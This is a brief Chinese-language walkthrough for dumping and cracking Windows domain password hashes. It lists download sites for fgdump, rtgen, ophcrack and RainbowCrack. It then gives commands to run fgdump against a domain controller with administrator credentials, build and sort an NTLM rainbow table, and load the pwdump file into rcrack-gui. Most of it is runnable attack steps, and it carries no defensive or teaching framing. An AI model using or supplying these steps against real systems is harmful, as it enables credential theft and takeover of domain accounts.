1. fgdump           foofus.net 下载   (获取域账号SAM数据库)

2. Winrtgen       http://www.oxid.it/projects.html 下载  （或者rtgen）

3. ophcrack-win32-installer-3.6.0.exe     http://ophcrack.sourceforge.net/download.php 下载  或者rainbowcrack-1.6.1-win64.zip           http://project-rainbowcrack.com  下载

fgdump -h 192.168.1.2(域控) -u administrator（管理员账号） -p 111（管理员密码）

rtgen ntlm loweralpha 3 3 0 3800 3 0       (这里只设置3个字节)

rtsort ***.rt （排序新建立的表）

rcrack-gui.exe

导入***.pwdump和***.rt开始破解